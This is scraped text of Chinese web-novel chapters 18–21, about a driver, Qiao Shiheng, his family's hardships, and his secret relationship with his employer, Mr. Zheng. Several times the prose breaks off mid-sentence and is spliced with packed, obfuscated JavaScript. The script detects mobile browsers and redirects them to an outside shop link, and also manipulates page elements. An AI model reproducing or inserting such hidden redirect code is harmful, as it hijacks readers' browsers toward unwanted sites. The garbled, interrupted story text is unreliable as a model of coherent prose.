乔施文半道差些吐在了司机车上，等到下了车，清醒了一点，看到乔施珩就说：“哥，你真的没钱吗？你发工资了吗？” “你到底为什么要钱？” “我就是要钱啊，我要买包，要买衣服，我那点零花钱，根本就不够啊。”乔施文赤着脚，在巷子口发酒疯，她指着乔施文手里的高跟鞋：“你知道这鞋多少钱吗？” 她又把自己的包举起来：“你知道这包多少钱吗？” 乔施珩看她摇摇晃晃，十足的发酒疯模样，就过去劝她：“先回家，要多少钱回家再说。” “我不！”乔施文指着他：“你别以为我不知道，你就根本不想我们家每个人好，你只会出钱，可是出钱有什么用？你那点钱，什么也改变不了！” “乔施文！” “你吼什么？我说错了吗？就算你累死，那又怎么样？我们家住在那破旧的老楼房里，一天不拆，我们就一天不可能有什么希望！你说希望我好，可你连把我介绍给郑先生，都推三阻四，不情不愿。让你找郑先生办点事，这也为难，那也为难，其实有什么，就是你一句话的事情，你只要开口，哪件事郑先生没办！” 乔施珩怔怔站着，他不明白，他离开的这些年，乔施文到底都经历了什么，为什么有一天，她会这样想。 “哥你看看，你看看。”她拍着自己的脸凑近他：“你知道我长什么样吗？你知道多少人排着队要爱我吗？我不稀罕！我只是想，我只是想...” “乔施文。”乔施珩垂眸看她，没什么情绪，像是酝酿过暴雨却最终平息的云层，他说：“美貌是最不值一提的东西。” 乔施文看着他，似笑非笑，似哭非哭，她捂着嘴，去墙角吐。 超市门口，王圆有些不好意思地冲乔施珩笑，她听到了他们的争吵。 “哥，你知道，我一直都很心疼你。”乔施文跌跌撞撞往前走，“但是你做这些，能改变我们什么呢？你不知道我遇到了那些家境好的人但却配不上的心痛吗？这个世界就是这样现实啊，门当户对你懂吗？那是枷锁啊，锁住了我，我就是想拿开这枷锁，你明白吗？” “我不想改变你们什么，我没能力改变你们什么。”乔施文伸手抓住她，否则她要摔倒。“我只是想让大哥大嫂轻松一些，让你和轩轩婷婷有书读。不同的人当然有千百种人生，但属于我们普通人的，就只有那几种。就算你挣开了枷锁，也会有一天回落现实。” 那天晚上，乔施珩留了两万块钱给她。 挺好笑的，有时候乔施珩想，命运弄人原来是这个意思。他除了好好上班，好像也没什么别的选择了。做个捂着耳朵奔跑的人？做个捂着耳朵奔跑的人吧，他劝自己。 十月份要放长假，杜慧慧一早就在规划去哪里玩，她问乔施珩：“小乔，你放假吗？” 乔施珩摇头，他从前确实没有放过假，但也是不定时工作。 “那多没劲啊，你去跟郑先生说说，放你假，让你出去玩。”杜慧慧说：“我要和我男朋友去周边的城市。” “有什么好玩的地方吗？”乔施珩羡慕：“我还从来没出去旅游过呢。” “郑先生他也不出去旅游吗？” “他没有，他放假的时候一般都是在家里，或者回他自己的老家，钓钓鱼什么的。” “没劲没劲。”杜慧慧说到这里，深吸一口气：“哇，小乔，怎么还有桂花的香味啊？” “那是桂花树。” 金石大楼的院子里有一颗桂花树，乔施珩早就注意到了。 “哟，小情侣赏花呐。” 乔施珩侧身去看，几个女员工嘻嘻哈哈地打趣他们。 “说多少遍了不是，你们真是！” 乔施珩其实明白，单位里早就在传他和杜慧慧的闲话。不管他和杜慧慧怎么否认，但好像只要他们在一块儿，不管做什么，都是那种关系。 “小乔你可千万别多想啊，我有男朋友的。” 是的，没错，杜慧慧有男朋友，只是还在读研究生，在北方一座城市。杜慧慧很早，就跟他说过了，还给他看了他们大学时期拍的那些照片，两人从大二就开始谈恋爱了，一直到现在呢。 “没多想，随便他们怎么说吧。” 穿过长廊，他们进了大楼，侧面电梯门开了，一群人走了出来，最前面的就是郑先生，他出来后扫了他们一眼，就走了，应该是去视察？反正乔施珩没收到行程，就不关他的事。 “小乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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乔施珩也不知道他是答应，还是不答应。 九月底，乔施珩没等来他的长假，倒是杜慧慧等来了她的调动。 乔施珩很意外：“去南湖区工作吗？” “对啊，真是烦，本来以为在这边是定下来的，结果南湖区缺人，把我调去了，等放完假回来办手续，直接过去。”杜慧慧还算乐观：“不过没事，反正距离也不远，有空约饭。” 她打量了一下乔施珩，好像经过挣扎，才说：“小乔，我总觉得你不开心，不知道是不是我想多了，我第一次见你，你就是一个人埋头在那儿吃饭，你也没什么朋友，独来独往。”她担忧：“后来我发现，你是真的不开心，不管你家里发生了什么事情，其实我觉得你都要看开一点的。有些事，你看开了也这样，闷在心里还是这样，如果一直不开心，对身体也不好。” “你看你，身体不好吧，发烧也懒得去医院。你就是因为心里压抑，所以才这么瘦，才会吃不胖。”她拍了拍乔施珩：“我觉得你是个很好的人啊，你应该开心一点，你也不要自卑，凭自己努力生活的人，永远都是高贵的。” “谢谢你。” “你心里的事儿，如果你不愿意说，也没关系。总有一天，你会看开，你会发现，什么都不是事儿。” “谢谢。” 18. 第 18 章 乔施珩到底还是等来了属于他的假期，只是这个消息并不是从郑先生那里知道的。 林木上车后就在跟郑祉桓确认：“是1号早上的飞机，让乔师傅送我们去机场，5号下午回来。”他拍了拍乔施珩的座椅：“乔师傅，五号下午我们4点落地，你记得早点到机场接我们。” 乔施珩怔了怔，问他：“去哪里？” “去三亚，还没去过南方呢。”他很高兴：“那也算是旅游圣地了吧。” 乔施珩扯了扯嘴角，没能笑出来，他只是问：“1号早上几点？” 林木看了看时间：“早上七点多呢，乔师傅你可能要更早一点。” “好，知道了。” 他没办法去看郑先生的脸色，但他知道郑先生应该并没有什么情绪表达，他一直都是这样，话少，很淡，情绪很不外露。 挺好的，他想，他终于也有属于自己的假期了。 可用尽全力不去想，用尽全力不在乎，用尽全力捂住耳朵，但他还是会辗转反侧，会夜不能寐，会在寂静的深夜感知到那种从身体深处蔓延的疼痛。他无比深刻的意识到，他这株一直在郑先生身边燃烧着的烛火，在灯红酒绿的世界里，再不能发出光芒了，可他还倔强着，不肯熄灭。 送完他们去机场，乔施珩把车开回明院。明院主屋的大门是密码锁，他站在门外站了一会儿，鬼使神差，他走到那门跟前，输入了自己的生日，但没有什么电影情节降临，显示密码输入错误。 他当然知道会错，他又不是不知道正确的密码。 以前他们不管住的是宿舍还是公寓，都没有密码锁，都是传统的那种门锁，他挂一把钥匙，郑先生挂一把。他还记得最后在大西北的那一年，有一天他丢了钥匙，去找郑先生要他的那把去配，但郑先生左找右找也没有找到，他可能丢得比乔施珩更早。 于是那天晚上下了班，他们去找开锁师傅开锁，那师傅说：“现在流行密码锁咧，装一个不？不贵，几百块啦。” 郑先生冷冷说：“几万块的你能装吗？” 那师傅看他脸色不好，也不敢再推销，就闷头把活干完走了。 土包子乔施珩问他：“真有几万块的密码锁啊？” “有。” “那肯定不会被盗。”他好奇：“密码锁的密码一般都怎么设？” 郑祉桓将他扯过来：“设你的生日吧。” 他只需要一句话，就能让乔施珩面红耳赤，心跳加速，就连做饭，都觉得自己多放了几勺糖。 但实际上真的有了密码锁，他可能已经忘记自己的生日了。 快了，乔施珩想，过完十月，过完十一月，就到十二月了，就到他的生日了。 他私心，还是希望能再多跟他过一个生日，一个就好。 本来乔施珩确实是打算带轩轩和婷婷去周边城市玩玩的，但人太多了，婷婷又不愿意晚上住在外面，要回家住。乔施珩想了想，就说：“要不然去和平公园吧？” 和平公园距离他们不远，也是近些年刚建起来的公园，非常适合带孩子进去玩。 天气多云，太阳也不大，他们坐公交车转了两路才到。公园里有个很大的儿童乐园，他目的明确，直奔那里而去。 乔恩轩带着乔恩婷进了巨大的充气城堡里去玩，乔施珩就在门口等他们。这里有很多跟他一样等孩子的家长，大多都在玩手机，他刷了一会儿手机，正觉得没什么可看时，一双小手按上了他的手腕。 “乔叔叔。” 乔施珩抬头，面前站着的竟然是郑屿森，他急忙四下看了看，却没看到郑祉裕，就问：“你爸爸呢？” “爸爸在那边打电话，我看到你了，来和你打招呼。”他奶声奶气的要往他怀里蹭。 乔施珩把他抱起来，朝着他指的方向走去，但没走两步，郑祉裕已经迎面走了过来。他穿着休闲，但还是与这里的普罗大众有些区别，就是那种一看生活品质就很高的样子。 “郑总。”乔施珩把郑屿森放下，他确实疑惑：“你怎么在这里？” “这家伙在电视上看到宣传，吵着要来看看。”郑祉裕问他：“你怎么也在这里？” “我带我哥家的孩子过来玩。” “那正好，他们可以一块儿玩。”郑祉裕把郑屿森抱起来，带到城堡前头，将他放进去玩，叮嘱他：“可不许哭鼻子啊，爸爸就在这里等你出来。” 乔施珩把自己带来的包拿起来：“郑总，坐这儿吧。” 郑屿森坐下，他打量了一下乔施珩，问他：“有自己的假期，感觉怎么样？” “要是不带他们出来玩，就我自己的话，也没什么意思。”乔施珩垂眸，很老实地回答他。 “你就是没有什么自己的兴趣爱好。”郑祉裕说：“前两年你不是跟老叔在院子里种花，他老人家夸了你许久呢。不过花草是老年人的爱好，你还年轻，应该发展一些年轻人的爱好。” “那郑总，一般都干什么？” “我啊，年轻的时候什么都玩，有了孩子以后，就带孩子了，也干不了什么。” 乔施珩可从来没有想过会有自己的小孩，但他也明白有了孩子就是有了羁绊，人生除了养娃，大概也做不了太多耗费精力的事情了，但也不是绝对。不过，他倒是从没见过郑祉裕的老婆，更没听人说过他已经结婚了。 “不过呢，你这些年也确实是没什么时间发展自己的爱好，你的全部时间，都在围着老二转，做他的司机，也管他的生活。” “可是工资很高呢。”乔施珩轻声说：“工作不就是为了赚钱么。” “工作是为了赚钱不假，但也不能把自己的全世界都奉献出去。”郑祉裕看他垂着头，黑色的碎发在而后晃荡，很神奇，这个人看不出年纪，好像还是个懵懂的高中生一样。 “我都明白的。” 他说他明白，郑祉裕当然相信，但明白跟做到完全是两回事。他也试图跟郑祉桓沟通，但郑祉桓一向对谁都冷冷淡淡，家里的父母尚且不能多跟他搭几句话，何况他这个哥哥。 “老二小时候一直送在舅舅家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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郑祉裕带他们去的是地方有点偏僻，到了后乔施珩看店名，竟然叫两个人的地锅鸡，还挺有意思的。在包间里，有服务员给他们服务，郑祉裕就拿出手机拍了一段乔施珩带着郑屿森吃凉菜的视频，旁边还有大快朵颐的乔恩轩和喝着牛奶的乔恩婷。 这家地锅鸡确实很好吃，乔施珩碍于工作和生活的原因，鲜少有机会吃这些东西，郑祉裕像是知道他的生活有多没滋没味，问他：“觉得味道怎么样？” “很好吃。” “你看起来，不常在外面吃东西。”郑祉裕鼓励他：“没事的时候可以多交一些朋友，出去吃吃饭，转换转换心情。” 回家的时候也是郑祉裕把他们送回去的，车子没法开进去，只好将他们在路边放下。 令他意外的是，乔施文竟然在家。 不知道是不是因为上次给她留了钱，她看到乔施珩有点不好意思，半晌才问他：“哥，你们怎么玩这么晚？” “遇到个朋友，一起吃了顿饭。”乔施珩问她：“你这些天都在学校吗？” “在啊，我不在学校还能在哪里？” 乔施珩叮嘱她：“少去一些乱七八糟的地方，还是要以学习为主。” “我那些地方才不乱七八糟。” 19. 第 19 章 乔施珩就算拿到了假期，除了带孩子们玩玩，也没有什么别的事，他就每天都回家帮着太芬做串串。现在天气冷了，太芬就弄了个炉子挂在车上，炉子里温着汤，为买串的客人加热。 “放假生意要好一点，不过一天也就挣个两百块钱，好的时候能挣快三百呢。”太芬一边捣鼓三轮车，一边又说：“不过确实比较累，我这腿有时候站着站着就没知觉了，你哥前天晚上带着孩子去帮我，结果站了没多久就回来了，他那腿更是不行。” 两人在院子里说话，门外有人喊：“嫂子，货到了。” 乔施珩出门去拿，是一个看着朴实又憨厚的男人，他提着两个很大的袋子，从巷子外进来，那身姿看着就是能干活的人。他抬眼乍一看到乔施珩，有些怔愣，随即就低下头去，将袋子又往前提了提，却没交给乔施珩。 “给我吧。”乔施珩伸手去接。 “老陈，辛苦你了啊。”太芬也走过来，她给老陈介绍：“这是老乔的二弟。” 这人终于是把袋子递给了乔施珩，但乔施珩却一下子没拎起来，袋子里应该都是装着一些冷冻的肉和肠之类的东西，有些份量。乔施珩尴尬：“还挺重的。” 老陈就笑：“提不动吧，我给你们送进去。” “谢谢啊老陈，你要不在这儿吃中饭？” “不用了嫂子，车还停外面呢，等会儿还有事，别客气。”老陈进屋来，把东西放到太芬准备好的冰柜里。 等老陈走了，太芬才想起来：“那是菜市场冷冻屋的老板，听说平时就给他仓库里的商家送货，一年也不少挣呢。” 乔施珩随口搭话：“看着是挺矫健的。” “你哥之前说要把超市那家的闺女介绍给你，你不是不同意，转头他就要介绍给老陈，结果老陈也不同意。”太芬摇头：“所以说像你们这个年纪不结婚的，男男女女都一抓一把，那老陈条件多好，自己手里好多个冷冻仓，听说市区一套房，南湖区还一套房，这么有钱，也不结婚。” 乔施珩对别人的私事也没什么兴趣，他就陪着太芬串串，帮她腌制这些串串，期间他吃了好几个，赞不绝口。太芬也只是笑：“论做饭，我可没你做得好吃，我听你哥说，你小时候腌制的萝卜干，是最好吃的。” “好多年没腌过了。”乔施珩说：“下次你腌的时候，叫我，我回来做。” 太芬一个不注意，话题就引到郑先生身上去了，她问乔施珩：“郑先生去旅游了？” “对，去南方。” “出去玩玩也好，跟谁去的？他谈朋友了？” 乔施珩也只是笑，挑着回答：“现在还不算是吧。”接着又补充：“说不定回来就是了。” “那倒是。”太芬感慨：“以前还心说，要是能看上咱们小文就好了。” “不着边际的事情。”乔施珩说：“他大我六岁，你想想看大小文多少。” “也是，不过那个年纪摆着，确实该成家了。”太芬叹气：“以前你跟他在外头，有时候一个地方待个几个月，有时候一个地方呆两三年，确实不好说对象。好在现在回来了，该解决的个人事情，也就该解决了。” 乔施珩不知道该回答什么，只闷头串串。 太芬就知道自己唠叨了，她又转了话题：“等下周啊，轩轩和婷婷放学，就让辅导班的老师去接，这样我们去接，也就近点了。不然公交车也要坐很久，有时候没座位，还得站着。” “这样也好，让辅导班的老师教他们做作业。”乔施珩问：“辅导班要多少钱？” “不贵，这个钱我们已经出了，你别掏了。”太芬说：“以后卖串，也能多挣点了。” 虽然太芬做的串串在他看来很好吃，但出过两晚上摊乔施珩就发现其实太芬的串串卖得远没有其他家小吃摊的好。那路口人流量挺大的，他觉得可能还是口味的问题，但他也没什么时间帮着太芬研究口味的问题，假期结束后，他就得上班了。 本来他以为两人去旅游，肯定两人一起回来，但却没想到，只接到了郑先生，却没看见林木。 “林木呢？” 郑祉桓捏了捏眉心，随即歪在椅背上。“你知道该怎么做。” 乔施珩倒是很意外，他还以为旅游会增加他们之间的感情，没想到竟然还结束了。 到了明院，郑祉桓说：“把车开进去，把房子收拾一下。” 如果没会错意，乔施珩应该是要把林木的东西都收好，给他送去。 林木的房间里东西不多，但有些东西乔施珩都没眼看，甚至还有一箱没拆封的用品，他全都打包好放进后备箱。明院的地方很大，乔施珩没有选择全都打扫，而只是把一楼的区域打扫了，这期间郑先生一直在他的主卧里没有出来。乔施珩从网上叫了些蔬菜过来，又把冰箱都清理了，给他做了一顿饭。 他去敲门喊他吃饭，无人应答，但门没锁。 乔施珩走进去，看到郑先生靠在沙发上，正在玩平板游戏，凑近一看，果然是消消乐。 “先生，吃饭了。”他问：“我用联系林木，把东西给他送过去吗？” 郑祉桓一局打完，收了平板，“先吃饭。” 他有一段时间没和郑先生一起吃饭了，乔施珩假装自己吃了很多，实际上他就动了几筷子，等郑祉桓放下碗筷，他就火速收拾了厨房，准备开溜。 又毫不意外，被留了下来。 可不知道郑先生是不是因为跟林木结束了又还没找到心仪的，这几天一直留宿他，就连去上班，下班了也要留宿他。乔施珩有点无奈地告诉他：“没带衣服，下次...” “明天穿我的，回去收拾点衣服带过来。” 可他跟郑先生根本都不是一个体型，穿他的衣服，会很奇怪。好在他的社交圈几乎没有，中午去吃饭的话晚点去碰不着什么人，应该也还好。 但是他就是觉得郑先生不知道是哪里不对劲了，这几天留宿他反正就不可能只是单纯盖被子睡觉，他真的还挺苦恼的。就算是年轻人，也没有天天不休息的啊。 反正他是觉得自己腰疼，膝盖疼，到处都疼。 导致他现在一进卧室就感觉头昏，所以趁着郑先生还在浴室，他光速钻进被子里假装睡着，为了防止假睡被看穿，他将头埋进被子里。没多久，他听到关灯的声音，接着郑先生就上床了。 他开始僵硬，像个木头。 但郑祉桓却没动他。 又过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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乔施珩也只是笑笑，他不敢说好，但总不会更糟糕了吧。 他去调料区调了调料，顺便帮杜慧慧也调了一碗，杜慧慧吃完就对他赞不绝口。“真的太好吃了，你这是怎么调配出来的啊？这个味道真的很绝！” “就每样都放点，随便调的。” 杜慧慧很开朗，跟他聊自己过年要去男朋友家里见他父母的事情，又聊到了两人的家庭差距，说她的家庭条件要比对方好很多之类的。乔施珩也只是沉默的听着，不好给什么意见，而且他觉得，杜慧慧是很有主意的人，不需要听别人的意见。 一顿火锅吃完已经九点多了，期间乔施珩接到郑先生的信息，让他发个定位。乔施珩没多想，以为他是怀疑自己没在吃火锅，就随手把定位发给他了。 没想到吃完出来，就看到郑先生已经等在了门口。 他毕竟是杜慧慧的老领导，吓得她说话都磕巴：“郑...郑先...先生好。” 郑祉桓打量她几眼，对她点点头，就对乔施珩说：“走吧，车停在了另一边。” 乔施珩跟杜慧慧告别，杜慧慧已经一脸怀疑地对他使眼色了。 “先生怎么来了？” “顺路。” 确实顺路呢，乔施珩想了想路线，他如果从老宅回明院，确实经过火锅店，只是要绕那么一下，不远。 20. 第 20 章 再次见到林木，是在十一月的月初，他戴着口罩，约乔施珩在咖啡店见面。乔施珩把他的行李包带给他，看他神色还算好，又不知道该不该说些安慰他的话。 倒是林木很不理解乔施珩：“乔师傅，我没有看错的话，你跟郑先生的关系，并不只是司机这样的上下级雇佣关系吧？” 乔施珩不明白别人都是怎么看出来了的，他只是问：“你想说什么呢？” “我想说你很了不起啊，在那样阴晴不定的人身边干这么久，本身就很厉害。估计也就只有你这样的人，才能跟他这么久，也或许，能跟他一辈子。”林木拿了根吸管插进杯子里，小口喝着，半晌才又说：“反正像我们这样的人肯定不行，捞点好处就算了。” 乔施珩想，那安慰的话就不用说了。 “不过乔师傅，如果你跟他真的是那种关系，那么你是怎么忍受他身边有诸如我这样的人存在的？”林木看他不说话，垂着眼睛，黑色的头发服服帖帖，皮肤白净细腻，唇色红润，就算他在娱乐圈，也很少见长相这么干净的人。 “你也像我这样，想捞好处吗？”他不明白：“可看起来，你好像也没捞到什么好处啊，是不是你工资很高啊？劳心劳力的。” 乔施珩无奈一笑：“是挺高的。”他确实是无奈：“挣钱罢了。” 林木看他，觉得他除了一副好皮囊，其他都很寡淡，像一杯不知道隔了多少夜的白开水，让人喝不下去。他踢了踢脚边的包：“不过呢，郑先生还是挺大方的，所以就算莫名其妙把我赶走，我也没什么好说的。这些东西买来后，也没用得上，就不要了，还劳烦乔师傅你等下帮忙扔一下。” 林木站起来要走，还是俯身对他说：“乔师傅不是我说你，工资是工资，其他的你可是要加钱的啊，不然跟他再久，也还是这样一副穷酸样怎么行呢？” 挺有意思的，乔施珩想，之前那些人结束后，找他大多都是想要挽回，像林木这样拿得起放得下的，也挺少见。他也不是第一次听人说难听的话，被人做难看的事儿，他又不是个炮仗脾气，吃点亏也就认了。 确实挺没意思的，这杯陈旧的白开水，往里扔石子，也溅不出什么水花，林木转身就走了。 乔施珩去买单，然后提着那包出门，找了个垃圾桶，把包扔了。 自从上次和杜慧慧吃完火锅以后，手机都快被她的信息给炸没了，她是真的很好奇为什么郑先生会去接他，一直在询问。起先乔施珩只说他是因为顺路，但杜慧慧说什么都不信。一直在问他什么时候有空，要请他吃饭，但乔施珩想，自己总该回请她才是。 正巧这里距离她的工作单位也不远，又快到了中午下班的时间，所以乔施珩就到了她单位附近，找了家饭馆，给她发消息。杜慧慧可谓是踩着点下班，飞奔而来，进了饭馆后，坐下第一句就是：“天哪，我都好奇死了，你快说快说。” 乔施珩无奈：“说什么，没什么好说，他顺路接了我一下，这并不奇怪。” “很奇怪好吗？你要说别的领导那就算了，他们都笑呵呵的，但是郑先生不一样啊，他很严肃吧，话少吧，平常开会除了内涵人绝对不会浪费口舌。而且...”杜慧慧突然莫名其妙地笑了一下。 乔施珩把菜单递给她：“快点菜吧。” 杜慧慧随便点了两道，又说：“而且我觉得你看郑先生的眼神，也挺奇怪的。” 乔施珩烫碗筷的动作顿了顿，问她：“哪里奇怪？” “反正跟看我，看别人不一样。”杜慧慧问他：“你一直都没有谈过女朋友对吧？男朋友也没有对吧？” 乔施珩把烫好的餐具推给她，自己又拿了个来烫，他无奈：“没有。” “那你...”杜慧慧压低声音：“你跟郑先生...不会是一对吧？” 乔施珩否认：“可别这么说，不是。” 如果不是碍于郑先生的身份，他真的很想告诉她，自己早上又替他送走一个。 “真不是啊。”杜慧慧明显不信：“你俩从一个车里下来，很容易让人浮想联翩的好吗？” “过去那么多人，只会觉得我是他的亲戚。”乔施珩笑：“可没人像你这么想。” 其实也不是完全没人这么想，乔施珩只是不承认罢了。 他还记得有一年在某个不知名的镇上，大院里综合办公室的负责人是个二十来岁的小年轻，他很喜欢乔施珩。至少，乔施珩能够明显感觉到他很喜欢自己，他总是会借机跟乔施珩搭话，给他带水果，或者请他吃饭，直到有一天，非常突兀地跟他表白。对他这种不加掩饰的喜欢，乔施珩当然是想都没有想就拒绝了，让他意外的却是那个小年轻早就知道自己会失败。 “是因为郑先生吧。”他局促地去摸后脑勺，尴尬地不敢看乔施珩，他说：“我知道你们是一对。” 乔施珩吓了一跳，他急忙解释：“不是的，不是。我跟郑先生不是那种关系。”他也不知道自己怎么想得，很快就说：“我只是他的亲戚。” 小年轻不知道信了还是没信，笑得也很尴尬。 后来，乔施珩跟郑先生说起这件事。 郑先生似乎并没有怎么放在心上，他只是稍微想了一下那个小年轻是谁，然后轻描淡写地叮嘱他：“别跟他走得太近，免得别人说闲话。” 乔施珩不怕自己被人说闲话，却非常怕别人说郑先生闲话，所以他从不越矩，对任何人都和和气气。 直到后来从西北到中部某个小城市的那一年，他遇到了个“硬茬”。 乔施珩见他第一面就很不喜欢他，那一次也是他跟郑先生好几年里第一次遇到郑先生招架不住的酒局。那是个疯子，乔施珩很生气，他隔着窗户，看到他一直在劝郑先生喝酒，哪怕郑先生再三拒绝，他还是在劝。 这个地方是这个人“深耕”了好多年的地方，但却是郑先生陌生的地方。郑先生每到一个地方，虽然表情冷淡严肃，但实际上他做任何事都留有足够的余量，光杆司令是干不了什么活的，这点他明白。 这个人显然对他这种到处漂泊的镀金者很不屑，言语不客气，做事也不客气。 酒局过半，他叼了根烟出来抽。 撩起厚重的门帘，他站到门边点烟，又因为凛冽的寒风几次没点着。终于，他背过身，面对乔施珩点燃了手中的烟，接着，他问乔施珩：“你跟着他，是按月计费，还是按年？” 乔施珩以为他是在问自己的工资，并不是很客气的回了句：“按月。” 那人嗤笑：“他能给你多少钱啊？就那点工资，养活得了你吗？”他走近乔施珩，嘴里咬着烟，说话含糊不清：“你跟他多久了？是正经交往吗？” 乔施珩心中警铃大作，他盯着对方黑框眼镜下的眼睛，不知道他是什么意思。 那人似乎看到了他眼中的惊恐，倒是笑了下，缓和了很多：“你怕什么，我又不会到处宣扬你们是一对。” “我们不是。”乔施珩很坚定地否认，“我是他的亲戚。” 很多人都这么认为，所以乔施珩就挑了这个谎言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16908428|192421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来遮掩。 那人不屑：“亲戚？”他很明显不信，又话锋一转：“你不如跟我，我给得比他多，怎么样？” 乔施珩再好的脾气也没压住：“你少胡说八道！” 就在乔施珩准备让他放尊重点时，里面出来人喊他进去。那人歪头招呼乔施珩：“进来吧，把他带回去。” 郑先生外套挂在椅背上，穿着黑衬衫，正靠在椅背上，捏着眉心，似乎很不舒服。乔施珩帮他把外套套上，期间那人一直在他身边盯着他的动作，“郑先生的酒量不行啊，才喝多少就醉成这样了。这么金贵可不行啊，咱们这是糙地方。” 乔施珩听着他的阴阳怪气，扶着郑先生出了门。 郑先生确实喝多了，他很难受，又没有力气，半靠在乔施珩身上，最后又去路边吐。到了半夜，更是难受得很，不得不去医院打吊针。医院里冷冷清清，吊水的地方空座很多，只有他们两个人。 郑先生靠在椅背上，闭着眼睛，好像睡着了。 乔施珩盯着那吊水看，希望快点吊完，又去看不知道在哪里值班的护士，最后确定护士不会不叫就来，于是他小心翼翼地把郑先生的头往自己的肩上靠。 “你冷吗？”郑先生忽然沙哑着声音问他。 乔施珩的脸就像热水壶爆炸，很突然地就热了一片，他小声说：“一点点。” 接着，郑先生的重量大半都在他身上，“还冷吗？” 乔施珩摇头，他问：“你还难受吗？” 郑先生用他的话回答：“一点点。” 很久，乔施珩才嘟囔：“我不喜欢那个人，他问我跟了你多久，还说他可以给我更多。” 郑先生只是轻微嗯了一声，并没说其他任何话语。 不知道过了多久，乔施珩没有在意那些日子里的那个人，也仍然是在他没有在意的某个寻常的一天，他发现很久没见过那个人了。 后来，他再也没有见过对方。 乔施珩回神，又接着笑了笑，为自己的走神抱歉。 “小乔啊，你看你笑起来多好看，你就应该多笑笑啊，不要整天一副苦大仇深的模样，生无可恋的样子。”杜慧慧一边摆菜，一边说：“生病要去医院，郁闷要找到发泄渠道，开心也可以找人分享，知道吗？” 乔施珩点头，他何尝不知道呢，但他根本没有可以分享的人，可以发泄的人，可以陪着他去做想做事情的人，他的世界，从来都只有一个人，而这个人，从没为他驻足过。 “我其实，很不好的。”乔施珩不敢去看杜慧慧，他坦言：“我不是什么值得人可怜的人，有些选择，都是我自己做的。” 杜慧慧看向他，细碎刘海下，乔施珩的眼眸很亮，但意外地，杜慧慧却觉得那眼中雾茫茫的，有些空洞。就像她无数次见过他孤独地行走，孤独地吃饭，就连没地方呆，都是一个人坐在楼梯口，有一种让她难以言说的雾茫茫的感觉，好像他的身上，始终都压了些什么，让他不能面对，也不敢面对。 “所以我，不值得可怜呢。”乔施珩轻轻地说，像是怕说重了，会吓到杜慧慧。 此刻，杜慧慧终于能够确信，她的感觉不假。眼前这个人，他的身上确实有事，有让他很难开朗，很难看开的事情，但不知道出于什么原因，他困在了这件事情里。 所以他会痛苦，他会茫然，他清醒地知道他在做什么，他都做了什么。 “小乔。”杜慧慧叹气：“你...” 她忽然，就明白他为什么总是看着不开心了。 21. 第 21 章 这天赵秘书很突兀地敲门来通知他：“乔师傅，郑先生有紧急事务需要去江市出差，这次同行的还有不少重要部门的负责人，期间衣食住行都有专人安排。郑先生让通知你一声，放你两周假。” 乔施珩又被这突如其来的假期砸懵了，他下意识问：“要去两周吗？” “是的，两周。” “好的，知道了，谢谢你赵秘书。”乔施珩想，果然是地位越高，事务越忙，安排得也更为妥当。以前他也有过去别的城市出差的事情，不过每次都带上他，就算用不到他开车，也会把他放在宾馆里。显然现在不适合那么干了，因为他们都回到了自己的起点。这座城市里，他们不再是只有彼此，还有家人和朋友。 离开金石大楼，乔施珩回了一趟明院，他从明院里拿了几件自己常穿的衣服，就回到了宿舍里。他想着这两周他还是要回家帮一下太芬，毕竟现在天冷了，对太芬来说，每天晚上出摊，太辛苦。 回到家，家里却是静悄悄的。他推开门进去，见到太芬坐在沙发上，正在发呆。见到他回来，太芬惊讶：“你怎么中午回来了？我还以为你晚上会回来。” “郑先生出差去了，我放两周假呢。”乔施珩笑呵呵：“我就回来帮你出摊。” 说到出摊，太芬脸色有些不好，她叹气：“生意也不好做。” “怎么了？” “这几天摆摊的人多了，难免会有摩擦。”太芬没再多说，只是问他：“中午你想吃什么？你去叫你哥吧，他可能在老三叔那儿下棋。” “随便吃点就行。”乔施珩听他说起老三叔，倒是很惊讶：“是陈家的老三叔吗？” “对啊。”太芬一边去冰箱里拿肉，一边说：“回来养老了，说是那边的房子给儿子结婚用，结完婚又住不到一起去，老两口就回来养老了。” 乔施珩对这些人的印象很模糊了，但小时候也在他们家蹭过饭。他不好空手去人家，就去超市里提了两箱牛奶，王圆在店里看店，看到他很开心，走得时候还塞了一袋橘子给他。 陈家老三叔的房子在他们家后面，要绕一个巷子。乔施珩远远就看到乔施军在门口下棋，对面坐着个五六十岁的男人。老三叔家的房子之前是租给别人的，现在收回来了，有些地方要重新弄一弄，屋子上还有人在修房顶。 “大哥。”乔施珩走过去，老实地喊：“老三叔。” 老三叔眼睛一眯，指着乔施珩：“哎呀，这是阿珩啊，真是好多年不见了啊。” 乔施珩尴尬地笑，倒是乔施军说：“咱们阿珩现在还给郑先生开车呢，现在是因为郑先生调回来了，他也就跟着回来了。”说完了乔施军才后知后觉：“你怎么回来了？那边没事了？” “先生出差去了。”乔施珩简短地回答。他把东西提进门：“叔你们接着下，我把东西放进去。” 老三婶在院子里洗菜，看到他来差点没认出来，认半天才不确定地喊：“你是阿珩吧？” “是我，三婶。”他把东西往屋里提：“我听说你们回来了，过来看看你们。” 老三婶就摆手，跟在他后头进屋：“嗨，本来是不打算回来的，但是孩子结婚了，没办法，不好打扰他们。”她叹气：“也不知道咱们这片，什么时候能拆掉。” 